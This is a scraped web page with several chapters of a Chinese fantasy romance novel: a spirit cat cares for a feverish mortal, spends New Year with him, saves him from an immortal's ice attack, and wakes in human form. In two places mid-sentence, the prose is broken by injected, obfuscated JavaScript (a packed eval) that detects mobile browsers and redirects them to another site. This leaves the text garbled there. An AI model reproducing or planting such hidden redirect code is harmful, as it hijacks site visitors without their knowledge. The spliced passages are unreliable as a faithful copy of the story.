厨房响起一阵又一阵的咳嗽声,像是要划破喉咙般撕扯着,云意感觉听着声音就能闻到铁锈味。 一声脆响,在安静下来的房间里十分明显,云意跑去厨房,看到一地绿油油的小菜心此时正四仰八叉地分布在七零八落的碎片里。 陆熙迟看到它进来,立即出声:“别过来,会扎伤的。” 陆熙迟看小猫没有要过来的苗头,这才放心地拿起墙根的扫帚开始清理。 云意皱着眉看陆熙迟扫完后又蹲下,用手掌轻轻贴近地面一点一点地挪动,直到全部检查完才站起来,轻轻走到她面前,低低出声:“刚刚是不是吓到你了?” 云意捉住他垂落的手,慢慢抚弄开,仔细看陆熙迟有没有被碎瓷片刮出小伤口,见全部是平整的才微微放心。 “你怎么这么聪明啊!还会找伤口……”这一次陆熙迟总算没有会错云意的意思,她有些高兴地看着他。 “现在想去看你的茅厕吗?” 云意的脸拉下来。 陆熙迟直接把猫端走,放在院子旁边他专门刨的土坑上。 “试试看大小合不合适。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025354|194376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>云意站在这个可以说得上有些大的方块土坑上,尴尬得想再刨深一点好直接钻进去。 “好像有点大……你在这等我一下。” 云意站在这里不知道怎么办。 忽然听到了一声短粗上扬的“喵”,云意看过去,一只黑猫站在不远处满脸笑意地看着她,眼神促狭,略带嘲笑。 云意不知道它在笑什么,但直觉告诉云意,肯定是因为这个土坑,没见识的乡野村猫! 陆熙迟拿了锄头,以为是自家的猫终于叫了,十分惊喜地去确认,却见一只脏兮兮的黑色公猫站在一边盯着他的猫。 陆熙迟的高热虽然还没退下,脑子却是清醒了不少。 这只流浪脏黑猫有十足的诱拐小白猫的嫌疑,不能让它靠近他的猫! “椿江,回家了!” 不等云意答应,自己就被捞走了。 院门被严密地堵上,门也被合拢,云意被放到猫窝里,然后就听到陆熙迟郑重地说:“外面的猫能是什么好猫?以后不准让它靠近你,知道吗?” 云意回想起刚刚那只猫嘲笑的表情,认同地点了点头。 “真是好猫!”额头被重重顶了下,是隔着布也能感受到的热气,等云意意识到自己又被亲了的时候,陆熙迟已经回屋躺下了。 陆熙迟本来就发着烧,刚刚又去院里吹了冷风,这下身体真扛不住了,只能认命地去休息,不然晚上怕是爬不起来给小猫做饭了。 是夜,陆熙迟还没醒,云意担忧地探了探陆熙迟的额头,灼烧的热度不降反增,她又害怕地伸手去感受陆熙迟的呼吸,鼻子的吐息时有时无。 云意跳上床,使劲拍了拍陆熙迟的脸,他却没有半分醒转的迹象。 陆熙迟躺下前把布条拆下来了,衣服却没有脱,云意总担心衣服的领口留的空隙太小,会不会勒着他,于是钻到他怀里用力拽了拽交织紧密的领口。 衣服被扯松,露出了一大片雪白,呼吸的锁骨连着喉结上下起伏。 大功告成,云意想退出来,却被揽回去,手臂的主人把它抱得紧紧的。 陆熙迟做梦了。 他梦到他的猫要从船上跳下去,他极力去抓。这一次没有再抓空,手掌真的触碰到了它的身体,他赶紧把猫抱在怀里,结结实实地没留半点空隙。 半晌,云意终于钻出来,陆熙迟身上的热一直居高不下,连带着她也有点发汗。 他必须吃药才行。 云意跳窗出去拨开院门,却见张叔家的灯都灭了,院子里的落叶也堆了厚厚一层,看着倒像是没在家。 求助无果,云意垂头丧气地回去,发现陆熙迟嘴上起了一圈白白的皮,面色潮红,脖子上一层薄薄的汗珠。 怎么她才出去这么一会儿,就变得这么严重了? 云意慢慢爬上床坐到陆熙迟旁边,调动气息探查灵海,微弱的灵力开始从周身缓缓流动,汇集到百会穴,淡蓝色的灵波流转成一个小球。 她俯身将额头贴在陆熙迟的额头上,甫一靠近,灵力便丝丝缕缕地涌向陆熙迟,刚刚还绯红的肌肤慢慢褪色,起皮的嘴唇也恢复红润,全身的体温也渐渐趋于正常。 全身的力气像是被抽干了一般,云意难受地倒向一边,身上冷汗涔涔,腹部止不住地痉挛。 8. 除夕 【山药糕实乃珍馐,日后可岁岁常伴左右】 ——崇祯五年,正月壬戌,初霁 藤毒提前发作了。 不知道是不是没有灵力防御的缘故,这次的痛还没等云意反应过来就已经迅速蔓延至全身,如密密麻麻的尖刺般细数扎上皮肉,激起一片冷汗。 云意捂住肚子,深埋在被褥里,回想起上一次腾毒发作的时候,她没喝解药也缓过来了,安慰自己这次应当也能挨过去。 躺在旁边的凡人呼吸渐渐调整至均匀,云意咬紧牙关不让自己发出一点声音。 齿关止不住地颤栗,怎么这么冷啊。 这毒药绞杀了云意最后一丝清明的神智,她全身发抖地蜷缩成一团,眼前渐渐昏黑,彻底没了意识。 不知是梦是幻,云意感觉自己好像靠在一团火堆旁,温暖的光映照在她脸上,令她不由自主地想靠近,最后云意在梦里寻到一处干净和暖的地方躺下来,拱了拱那处干燥的沙土,埋在里面取暖。 清晨,陆熙迟醒来时惊喜地发现头已不复昨日昏胀,鼻子也能通透呼吸,就连嗓子也不疼了。 只除了胸口,总感觉被什么紧紧压住了。 陆熙迟慢慢拉下被子,看见一团雪白的小家伙耷拉着两只耳朵正趴在他胸口,爪子死死地抓住他的衣领,像是要给他扯开一样。 忍不住上手去摸,耳根那处的几撮彤色的毛好像变淡了,额头上的毛贴着脑袋有些汗津津的,是不是太热了? 陆熙迟掀开被子,猫极没安全感地往他衣服里钻了钻,根根分明的毛拂过胸口,仿佛有什么东西在心口挠了一下,刹那激起蓬勃的心跳,在安静的空间里声声浩大。 像被什么吵到,小猫烦躁地歪了歪头,贴在胸口的嘴巴挤出一声不甚明显的“呜”。 陆熙迟闻声立马低头看向他的猫,希望可以再听到一声,可是猫却彻底安静下来,很长时间没再发出一点声音。 那声哼唧带着几分哀怨、烦躁,仍不掩灵动、婉转。 可惜只有一声。 就像水里激起一片波澜又迅速回落,陆熙迟欣喜之余只剩下无边苦涩。 他的猫是会说话的,只是不愿意说。 小心翼翼端着猫起身又放下,猫不安地挥了挥爪子就继续睡了,没有要醒转的迹象,陆熙迟给它盖上被子,细细打量。 小小的,睡在这张三尺宽的床上,两边感觉还能躺下四个它,思及此,陆熙迟忍不住担忧这条褥子对于猫来说会不会太重,翻箱倒柜找到一条他小时候用的春被,盖在猫身上刚刚好。 今日是除夕,但这么多年家中都只他一个人过节,陆熙迟早已习惯了冷清。 除了初一的时候要去张叔家拜年,陆熙迟其实没有什么过节的实感。 但今年不一样,他有猫了。 一想到猫昨夜可能守着他睡了一宿,陆熙迟的心都要化了。 不知道是不是陆熙迟的错觉,今日猫似乎格外困,一直到亥时都没有睡醒。 上午他担心猫独自在家会害怕,不敢出门采买,可是一转眼到了下午,猫还在睡着。 无法,他只能跑到山上去向那里住着的农户买了点菜,想起水缸里还有一条之前张叔送的鱼,做年夜饭应该够了,想到明早要去给张叔拜年,又买了点萝卜、橘子,结了账便没再逗留,背上买的菜就往家跑。 到家先去看猫,大大的床里,猫裹着他的春被翻了个身。 云意昨夜疼得不知道什么时候睡过去了。 睁眼看见天色已黑,一时竟分不清是什么时候了。 床上的人已经不见了,她想要起来却浑身使不上劲,运转周天探查灵海,那里就像之前在濯鳞宫时一般,干涩枯竭,没有半分灵力可以调用。 她在霍山的时候每日都勤学苦练,作为这一代唯一的小辈,云意深知不能给阿娘丢人。 但后面被纪明渊关着的三百年几乎让她功力荒废,纪明渊又强行封住她的灵海,她的修行原本就根基未稳,这下要重新捡起更是难如登天。 云意一点点挪到床边,静悄悄的黑夜突然毫无预兆地响起噼里啪啦的爆炸声,其声势之浩大,如利剑破空般,直直地穿透云意毫无防备的耳朵。 云意一下子被吓得掉下床,还不忘要抬手捂紧自己的耳朵。 陆熙迟正在厨房里热第三遍年夜饭,几乎是立刻就在鞭炮爆炸的嘈杂声中捕捉到什么掉落的声音。 他擦擦手,摘下围裙回到房间,果不其然看见小猫跌坐在地上,两只爪子捂住脑袋钻进床底下,剩半边身子留在外面,显得有些滑稽。 陆熙迟不敢笑,两步跨过去捞起小猫放进怀里,坐在床上伸手帮它捂紧耳朵,“不怕、不怕……” 爆炸声渐消,陆熙迟缓缓放开小猫的耳朵,但小猫似乎还是怕,一下子抓住陆熙迟的手,重新贴回自己的耳朵边,眼睛紧紧地闭着,眉头挤出两坨小小的肉峰。 好像遇到了什么特别不忍直视的东西一样。 “没有声音了,没有了。” 陆熙迟轻轻地说。 云意睁开眼睛,一边确认着周围环境的安全,一边竖起耳朵听着远处的动静。 “你看,你是不是能听清楚我讲话了?” 确实能听到了,云意将信将疑地放下陆熙迟的手,窗外果然安静了。 但水汪汪的眼睛仍透露出心有余悸,陆熙迟把猫抱紧,轻轻拍着它的背,嘴里安慰道:“刚刚这么吵是因为马上就是新的一年,每家每户为了能在新的一年里祈求吉祥,便把烟花爆竹点上,声音越响,天上的神明便越容易注意到他们,他们的愿望才更容易实现。” 也不怕猫听不懂,陆熙迟一本正经地解释着,云意撇了撇脑袋,还是很怕。 一声温柔的爆炸在空中破开,漫天五彩斑斓,目光落在窗户的云意看见黑夜里迸发出的星光华彩,成为她很久很久以后都忘不掉的美景。 陆熙迟望着夜空越来越多的烟花,星光流转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025355|194376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都倒映在小猫的眼睛里,美不胜收。 “新岁吉祥,福寿绵长。” 凡人好像很开心地对她笑了笑,云意怔愣地看了半晌,心底还有很多疑问没说出口:那你呢,你有什么要实现的愿望吗?为什么不去放那个爆竹来让神明听见你的愿望呢? 虽然年夜饭吃得吃了一点,但到底还是要吃的。 云意看着桌上做成梨花状的玉色糕点、淋了琥珀色酱汁的烧鱼,还有一碗金黄的焖笋丝,品相都很不错,忍不住咽了咽口水。 陆熙迟看着小猫凑到山药糕面前轻轻嗅嗅,随后缓慢地眨了眨眼睛,眼神专注又明亮,是很喜欢的样子吧。 陆熙迟决定以后多做山药糕。 云意蹲在灶口取暖,一根快要燃断的枯枝从空中掉落,云意眼疾手快地抓住,正想向陆熙迟炫耀,冷不丁听见他说:“我们等会洗澡,好吗?” 看到陆熙迟往一个小木盆里倒水,云意心道不妙,咽下嘴巴里还没嚼完的糕点,就要离开。 云意开始悔恨自己不该在他烧水的时候还在他面前转悠。 云意很想告诉他自己是灵兽,不用沐浴就很干净,就算弄脏了轻轻甩两下就行了,不需要大费周章地烧水洗搓。 回想起上次她伤还没好,不便行动的时候,陆熙迟拿着打湿的帕子往她身上搓,随意对她上下其手,就这样还仍嫌不够,居然还要把她放进水里的恐怖经历,云意心有余悸地步步后退。 退的时候偶然间瞥见腿上绑的纱布,云意伸出腿去给他看,伤口是不可以沾水的! “你今天早上出了一身汗,肯定不舒服吧?洗一洗吧,洗一洗就干净了,我们就用帕子沾水擦擦,湿了的地方我立马用干帕子给你擦干好吗?” 察觉到猫的抗拒,陆熙迟放缓了声音去哄,可是没有什么效果,云意今天不会再因为他是个病人而让步了。 不小心被抓住脖子提起来,她听到他说:“再不洗的话,水就要凉了。伤口我等会儿会小心不碰到的。” 突然被放进热水里,云意挣扎着要起来,这和要煮了她有什么区别! 陆熙迟尽管被溅了一身水也不恼,三下五除二地把香胰子往猫身上抹,猫虽然抗拒的意愿很明显,但也没有要出声的意思。 陆熙迟心里不知是何滋味,但手上的动作很快,并且小心地不让绑着纱布的地方沾水,不一会儿,云意渐渐适应了水温,开始有些舒服地享受着陆熙迟的伺候。 他揉捏的地方俱是云意这些时日里酸痛的地方,而且陆熙迟总是有意地控制着力道,不轻也不重,云意很适用。 水快凉了陆熙迟就立马加热的,云意突然有些喜欢上被热水冲淋了,那个时候她感觉自己全身的肉连带着呼吸都温暖起来,连毛也开始舒展,她好像明白为什么凡人喜欢洗澡这件事了。 直到被整个擦干,云意还意犹未尽,想继续躺在热水里面闭上眼睛睡觉。 反正有陆熙迟在,她也不会沉下去淹死。 9. 初一 【尘世三千,半刹那间万年春①,唯盼朝暮与共】 ——崇祯五年,正月癸亥,叆叇熹微 正月初一,今日要去给张叔拜年,陆熙迟起了个大早。 陆熙迟忙着把昨晚连夜做的腌萝卜、蒸橙糕封装好,又盯了眼锅里正在煮的盐水花生,就见猫一脸没睡醒似的看着他。 云意从春被里钻出来,就摸到凡人昨晚睡的地方已经凉透了。 昨天她洗完澡后已经很晚,没想到陆熙迟还不睡,一直在厨房忙忙碌碌地转来转去,还告诉她这叫守岁。 云意非常善解人意地陪着他一起守,到四更天才睡下。 没想到才刚刚破晓,天还没亮,陆熙迟就起来又在厨房里做饭了。 “乖,快去睡,现在还早呢。” 云意揉了揉眼睛,因为昨晚洗了澡,云意身上的毛变得额外蓬松,有时候还会自己飘起来,就像小鸟身上的羽毛一样。 她跳上灶台去看锅里的东西,清水里沉了一片密集的黄色颗粒,没有想吃的欲望,遗憾地蹦下来,挂在陆熙迟身上。 陆熙迟像是早有预感,一下子就接住它,手下意识护住小猫软软的腰,抱孩子般兜住它的屁股,蓬松的尾巴立马不轻不重地打了他一下,陆熙迟感觉手背痒痒的,他眯了眯眼睛。 “你会吃面条吗?我给你煮碗面好不好?” 云意没见过面条,疑惑地看向陆熙迟。 陆熙迟敏锐地捕捉到了猫眼睛里的兴趣和好奇,他现在算是明白了,他的小猫就得当成人来养才行,口味和普通小猫完全不同,偏好甜甜的东西。 “我等会给你多加糖,怎么样?” 云意只听到了糖这个字眼,欣然接受。 “吃完面我们先去张叔家拜年,然后我再带你去个地方,可好?” 云意自然没有意见。 等陆熙迟把花生捞上来,终于开始下面条。 云意看他把一个面团切成几份,然后拉长放进腾腾冒泡的锅里,水面一下子就浮起来黄白色的长条,表面光滑,这似乎就是传说中的面条。 云意是很佩服凡人的,能研究出这么多美食,还有很多云意都闻所未闻,见所未见。 他们是怎么发现土里的杂草能吃的呢?还能变着花样去做。 “好了,可以开动了。” 陆熙迟把面条盛上来放进碗里,撒上葱花,浇勺面汤,放了点盐和糖搅拌,虽然看着朴实无华,但云意相信一定很好吃。 陆熙迟挑起一筷子面递到云意嘴边,云意愣了一下咬上。 面条很软糯,但又根根分明,它很喜欢。 云意吃完了陆熙迟喂的所有面。 陆熙迟换上一件她没见过的蓝色衣衫,腰带也换了条更整洁的,想必很重视这个叫做拜年的礼节。 她们灵界似乎就没有这样人人重视的节日。她被抓走时灵界内部四分五裂,几个大妖王拥兵自重。 九尾狐族之前还实力强盛,不想继承人突然出走,他们一族逐渐式微,灵界重心渐移,也不知道现在怎么样了。 推开张叔家的柴门,云意看见院子里倒是没有落叶了,可仍觉萧条。 就像没人在家一样。 陆熙迟也觉得奇怪。 往年张叔门前都会贴春联,挂红灯笼,初一早晨还要放爆竹。 每次陆熙迟一来,都会有种自己在正经过年的感觉。 可今年这里似乎比他那里还要冷清。 陆熙迟拿上年礼,带着小猫推开房门,一股浓郁的酒味迎面扑来,陆熙迟眼疾手快地遮住小猫的下半张脸,防止它闻到这股恶臭。 “张叔?” 趴在桌子上睡的张叔被晃荡醒,两眼发虚,眼珠直直地看向前方,缓了缓神,才转过头看着陆熙迟。 “你怎么来了?” 舌头都有些捋不清楚,但他继续道:“你婶回来了吗?” 陆熙迟把腌萝卜和橙糕放在张叔面前,把盐水花生和酒推到后面。 “你和我婶吵架了?” 张叔顿了会儿,才说:“哪儿能啊。” 底气不足,声音发虚。 “她前两天回娘家了。” “您去找了吗?” 云意看到他感觉比前两天看到的时候还要老上许多,眉眼间多了几分很明显的沧桑和忧愁。 张叔搓了搓脸,半晌才答道:“前两天你婶那个青梅竹马来看她……” “他和你婶说了些有的没的,我捡着几句听了我就生气了。”说到这里,张叔的声音更小了,“我情绪一上头我就说了你婶两句,她受不了就回娘家了。” 陆熙迟的声音突然变冷:“你说什么了?” “就情绪激动,口不择言了……我本来想着她昨天能自己回来,我还特地把院子扫了,没想到她这回铁了心不回来。” “张叔,你自己把人气跑的,就应该自己去把人求回来。” 不欲多说,陆熙迟捡起桌子上的东西,“等您把人求回来了,我再来给您拜年。” 门又关上,只留下张叔一个人在桌边,他想要倒酒,怎么也倒不出来,无奈地放下酒壶,望着空荡荡的屋子长吁短叹。 回到家里,陆熙迟把东西妥善安置好,又拿了个包袱带着云意出门。 云意跟在他脚后面,这个凡人自出了张叔家门以后就一句话也没说,很安静。 从家里出来走过一段平整的路之后要穿过一片田,陆熙迟把云意抱起来,四平八稳地走在又窄又长的田坎上,待路宽了之后便把她放下来,让她自己走。 “张叔和张婶成亲二十载却一直没有孩子,这些年来待我如同亲子一般照顾。婶婶性子温和,从不轻易同张叔计较,这回竟是直接回了娘家,想必真的气急了。” 云意灵活地在路上穿行,已经甩出陆熙迟一大截,突然听见他说这些,不禁放慢了脚步。 “张叔平时待人热情,进退得当,我总觉得他心里是有杆秤的。” “可是他一遇上婶婶的事就会犯浑。他怎么总是不明白,是他离不开婶婶,不是婶婶离不开他。” 云意深以为然。 不知道过了多久,他们走出好远,那个小木屋早早地看不到了,今天的日光隐匿在层层云雾中,稀薄得感受不到一点温度。 陆熙迟停了下来,眼睛不知道看着哪儿,像蒙了一层雾似的,云意看不清也看不懂。 “张叔说我娘生我的 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云意这才看向周围,刚刚没留意脚下的路,现在却是发现自己站在了一片山坡上,新草刚冒出头,不远处有棵大榕树,上面挂满了红绸,树旁边还有一间老旧的祠庙,不知是供奉的哪位神祇。 “世间有诸多人力所不及的难事,我敬神明,盼神明能听见。” 你有什么愿望呢? 陆熙迟有什么力不所及的愿望是只能说给神明听的呢? 陆熙迟走到神祠前,把包袱拿下来解开,里面装着两根红烛,一把线香。 “我把爹娘的坟埋在山坡的那头,对面就是清音寺。我盼望他们下一世受神佛庇佑,可以平安顺遂,福泽绵长。” 云意走过去,见一片藤草丛生中两个小土包相互依偎,墓碑上所书唯有他们自己的名字。 从这里遥遥望去,有一寺庙盘踞在对面的山顶,香火鼎盛。 陆熙迟用火折子点燃了那把线香,插在祠庙前的坛子里。 “你走了之后,我去那间寺庙里祈福,那里的僧人告诉我这里有间猫神祠,或许能更灵验点。” “我顺着指引走过来才发现,它居然背靠着我爹娘。” 陆熙迟看着愣神的小猫,他说不清是巧合还是命中注定,但他觉得冥冥之中猫和他有着解不开的缘分。 “于是我向猫神请愿,不论你到哪儿,都安乐无忧。” 心神一震,云意跑到这间破旧的神庙前,里面供奉着一只石塑的狸猫,身上的斑驳得已经不辨颜色,挂着红绸,头歪向一边……倒真像只活灵活现的小猫。 云意循着它扭头的方向看去,一棵大榕树映入眼帘。 树上的红绸看着鲜艳,像是最近才绑上去的。 云意心有所感,几步跑上前,在榕树下仰望,每条红帛上像是都写了字,风一吹,丝帛翻飞,树枝乱颤,那字隐隐约约看不真切。 陆熙迟拜完猫神,就见小猫几下上了树,心一提,赶紧跑到树下,“快下来!” 云意抓住一条红绸,上面只写了四个字:伏愿康宁。 10. 变人 【忽而回首,复余一人而已。】 ——崇祯五年,正月乙丑,霖雨 陆熙迟惊讶地看着小猫拿着红绸,它脸上的神色认真到让他忍不住怀疑它是不是真的能看懂。 云意放下手中的红帛,又勾起旁边树枝上的另一条,同样的字,同样的话,笔锋之间错落有致,一笔一画写得很好看。 云意抬头,一圈一圈向上看,慢慢看到树顶,几乎每一层、每条树杈都绑着写字的红绸。 陆熙迟竟然写了那么多祈福带…… 心里好像在被什么东西一点点填满。 她有点喘不上气了。 “下来吧……”陆熙迟看懂它在做什么,被识破的羞赧从脑海蔓延到心底,尾音带着祈求地希望它回来吧,别看了。 云意跳下来,站在和陆熙迟距离不远的地方,中间恰好隔了一棵榕树。 陆熙迟蹲下来,和小猫保持平视。 他的猫总是很聪明,聪明到让他有些害怕。 某一天它想离开了,可能就会悄无声息地走掉。 没有任何预兆地,让他毫无准备地直面又一次发现猫不见的事实,再经历一遍那种找不到、放不下、找不到……最后不得不放弃的残酷。 他还是一个人。 不和任何人或物的生命相关。 “椿江,我可以这么叫你吗?” 云意愣了一下,陆熙迟从前都会直接叫,无视她的不理睬,今天却一反常态地开始询问她的意见。 云意认真地摇了摇头。 和陆熙迟设想的一样,猫真的知道在叫它,也是真的不喜欢,所以从来没应答过他。 “我知道你不喜欢这个名字……所以我很久没这么叫你了。” 陆熙迟这么说,云意才意识到,陆熙迟这次把她带回去之后就几乎没这么叫过她了。 明明这个名字是陆熙迟自作主张取的,可为什么云意听到陆熙迟喊,还是会觉得这也是她呢? “那……小猫,你是小猫吗?虽然很多时候我都觉得你不太像。” “张叔家的橘猫……今天好像不在,它喜欢小鱼干,喜欢喝水,喜欢跳到高处,喜欢睡觉,喜欢抓田鼠……” “这些你一个都不喜欢。” 想了想,陆熙迟又补充道:“你长得也和它不太一样。” 虽然具体说不上来哪里不同,但陆熙迟觉得,他家小猫恐怕是天底下最漂亮的小猫了,没有之一。 就算不是猫,也是格外夺目的存在。 云意听到第一句就寒毛倒竖,如临大敌,尾巴高高弓起,圆圆的眼睛警惕地看着陆熙迟。 原来他一直有怀疑……一直在怀疑。 “但你是不是猫又有什么关系呢?” 陆熙迟说的时候神色认真坚定,眼睛一落不落地看着地上小猫。 好像在说:你相信我。 紧绷的呼吸里,陆熙迟慢慢向她靠近,没有攻击性的。 云意尾巴上的毛缓缓收束起来,尾尖渐渐下垂,眼瞳里倒映着陆熙迟一点点靠近的脸。 但一想到他对自己身份的怀疑,云意几乎是立马倒退出一段距离。 陆熙迟看着那段突然多出来的一大截空段,喉头发痒。 “我知道,我这个人有很多短处,也不擅长与人相处。但我真的、真的很想陪着你……” 陆熙迟向朏朏走近一步,云意的爪子就支配着身体后挪一步。 “跟我回家吧……” 她的家不在凡间,这里没有她的家。 她的家在很远的地方,她必须要回去…… 不知不觉,云意退得好远好远,离崖边越来越近。 陆熙迟心神一凛,“别退了!你后面是悬崖!” 他不敢再上前,紧紧盯住小猫的爪子,生怕它再动一下。 云意堪堪停住,转身去看崖下,云雾缭绕,深不见底。 “别看了,回来吧……” 小小的一点在悬崖边轻得好似要被风刮跑,站在那边长久地没有过来。 陆熙迟好像明白了什么。 “真的……不跟我走了吗?” 听着像是要碎了。 云意站在原地不动,陆熙迟也不敢再问了。 “我不要你跟我回去了,快回来吧,去哪里都可以,平安就好。” 说完这句感觉耗尽了他所有的力气,陆熙迟退远些,离它很远。 云意试探地往前走了几步,见陆熙迟真的没有阻止她,便快步跑起来,直直穿过陆熙迟的手边。 她过去一截回头看,陆熙迟还一个人孤零零地站在原地,背影看着有些孤独。 不再看他,云意从来这儿的路离开。 没走出多远,她突然嗅到一丝不属于凡界的气息。 这气息里清气包裹浊气,十分不对劲。 云意折返回去,陆熙迟听到声音抬起头来,一眼不落地看着冲他跑来的小白猫,怔愣片刻,黑沉的眸子里逐渐亮起细碎的光。 云意咬住他的裤脚,把他扯向里面的平地。陆熙迟感受到小猫的急切,虽然莫名,也跟着快行几步。 一簇疾风穿云破空,云意似有所感地看去,尖锐的冷光从空中飞速袭来,她急忙扑倒陆熙迟向里侧滚动两圈,半截崖边土块应声滑落,堪堪断在陆熙迟脚下。 碎石跌落山谷,在看不见的地方碰撞出几声脆响,崖上的断面还散发着新鲜的土腥味,陆熙迟半晌没从震惊中缓过来。 刚刚那……是雷吗? 来不及反应,那似箭似枪一般的冰刃甫一接触到地面就立马消融,但迸发出的阵阵寒意从地上迅速蔓延。 陆熙迟躲避不及,从脚到腰,半扇身子被冰凝住,眼睛也不受控制地渐渐发直,他用最后的力气推开了身上的小家伙,失去了意识。 云意没想到对方还有后手,被推倒在地后急忙翻身立住,那冰自冻住陆熙迟后就停止了蔓延。 云意向那法术攻来的地方看去,厚厚的云层挡得严严实实,没有丝毫缝隙。 启虚镜后的人一直看着崖上情况,这只朏朏竟是盯着他的镜子一眼不错,冰冷的目光透过法术屏障直视他的眼睛。 南洄不耐地关闭镜子,心里却忍不住担忧:这冰碎术法真能毁灭藏在凡人体内的原神吗? 云意凝眉看向陆熙迟已经被冰冻住的腿和腰,想不通为什么会有仙或魔对付一个普通的凡人。 此时陆熙迟的呼吸越来越微弱,耳边的心跳也几乎停止了搏动。 怎么办,陆熙迟真的要死了…… 云意的灵海还未 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淡淡瞥过地上的陆熙迟,脚尖抵住陆熙迟半边结冰的身子,冻结的冰裂开一个小口,逐渐扩大,顷刻间荡然无存,寒气渐渐退去,青白的脸慢慢恢复几分血色。 他没再看地上的人,行游几步俯下身,修长的手指抚上云意毛绒绒的脸颊,一寸一里,慢慢流连至耳畔那已经淡得发白的毛,轻轻抱起这团小小的身体,爪子那处已经结了血痂,他皱了皱眉,抓住那只爪子只轻轻抚了抚,伤口瞬间愈合。 冷淡地看了一眼地上的人,陆熙迟嘴边还有朏朏没喂下去的血迹,挂在嘴边,干涸成块。 这只朏朏因为失血过多格外虚弱,抱在怀里都觉得轻忽。 低下额头轻轻靠近它的眉心,银白的额印浮现,灵力传输到朏朏的身体里。 贴近的那处有些发热,云意动了动,对面的人缓缓睁眼,收起法术,把它放回干净的地上。 “蠢。”一挥衣袖,陆熙迟嘴边的血迹消失。 一声嗤笑,他望过去,一个破败不堪、无甚香火的地灵庙缩在角落里,那只狸猫雕塑上有微弱的灵力浮动。 一记流光过去,它僵在那里。 石塑转了方向。 站着的人消散,灵波又回到陆熙迟身体里,剩余的法力催动流云转动,一大一小两个身影消失在这山坡上。 陆熙迟醒来时感觉全身凉凉的。 手臂连着腿的地方都麻了一大片。 昨晚的记忆突然涌上心头,陆熙迟心惊肉跳地摸了摸自己还能活动的手,环视周围一圈,还不及细想自己是怎么回来的,突然心神一凛——猫呢? 陆熙迟腾地坐起来,角落的被子也被扯动一点。 陆熙迟这才注意到被子隆起来的鼓包。 陆熙迟够起身,心有惴惴地扒开一角,黑发掩着一张陌生的侧脸映入眼帘。 陆熙迟有一瞬间仿佛晴天霹雳。 不敢置信地再看一眼: 眉如初月,容光皓雪,秀发如云——这分明是个女子! 心神震荡,陆熙迟饱受惊吓地打开门,熟悉的院子,这真的是他家。 为什么会有女子出现在他家里,他的猫呢? 11. 误会 【玉明婶今日痛斥于吾,吾自省,无果,不知所云为何】 ——崇祯五年,正月乙丑,霖雨 陆熙迟站在房间正中,看了一圈屋子里大大小小的角落,熟悉的空落感从心底滋生,就像藤蔓一样包裹住他。 似乎又回到了他打春归家发现猫不见的那天,一股又麻又痛的冷意从脊背爬到四肢百骸。 他该怎么办…… 若是它有心要躲,他该去找吗? 昨天,它明明已经要走了,可是为了救他,还是跑回来了…… 陆熙迟,其实你一直在做它不喜欢的事……留下它是,给它取名字也是…… 你一直都在自欺欺人…… 脚尖不知道要往哪里迈,向前一步没有缘由,后退一步又不甘心。 屋子里突然想起窸窸窣窣的声音,应当是那女子醒了,他踌躇片刻,走进去。 床的那头,那陌生女子拥着厚被子坐起来,圆圆的眼睛警惕地打量着周围。 像是听到了他,她抬头望过来,黑发松动,随后就带着惊讶的目光看向他,堆叠的被子处露出一点雪白的肩头。 陆熙迟像被烫着了,立马转过身,语气又急又快:“不知姑娘为何会出现在我家。” 还似乎……□□。 随后,他听到她带着几分犹豫,说:“我也不知道……” 云意也不知道为何陆熙迟昨天还奄奄一息,现在已经行动自如了,她自己又为什么会一夜之间化成人形。 她记得族长说过,化形得修炼达到一定程度才可以,以她目前的修为肯定是远远不够的。 可现在却灵力暴涨,灵海内四处丰盈。 她伸出双手低头查看,修长莹白、骨节分明,确实和做朏朏时完全不一样。 云意疑惑地盯着自己完好无损的指尖,那里应该有一道口子才是,使劲搓了搓食指指腹,除了变得有些红之外,竟是半点没有损伤。 她再次探查灵海,那里确实灵气充沛,不似昨晚想调用时那般干涩枯竭。 是有人帮了他们? 云意脑海中遍寻平生所认识之人,唯有他们朏朏一族的族长稍有可能,可族长又怎么会出现在凡间? 昨天飞来的冷箭和那致命的术法,分明是冲着陆熙迟而去,那人不仅想要陆熙迟的命,还想让陆熙迟魂飞魄散。 思及此,云意开始打量陆熙迟,灵力全无,家境贫寒,再寻常不过的凡人,缘何招惹了一个不是凡界的人? 陆熙迟绷紧背站在门框处,他从未与女子单独相处过,更别说是突然出现在他家被子里的女子。 她不说话,陆熙迟也不知道怎么谈论起昨天发生的这些怪事。 心烦地长舒一口气,他现在比起等在这里,更想快点去找猫。 昨天遭遇了那样一桩怪事,不知道小家伙有没有受到牵连,陆熙迟想明白了,尽管它可能并不需要他的关心,但他此刻只想确认它的安危。 云意抱着被子,背上凉飕飕的,她贴着被子往里缩了缩,突然瞥见熟悉的一角,她摸向那处的小春被,软软地扯向自己。 陆熙迟在原地不安地踱步,心想这女子怎么如此气定神闲。一想到猫还下落不明,他就厌恶自己此时的无所作为。 陆熙迟问:“不知姑娘家在何处?” 云意裹住被子,不知如何作答。 顾不了其他,陆熙迟着急地说:“姑娘,我现在要去做很重要的事,等我办完了回来找你,有什么到时候再说。” 不等云意回答,他就转身离开,云意抓住被子,远处的门打开又合上,她有点冻地缩了缩肩膀。 却忍不住思索:陆熙迟要去做什么重要的事情? 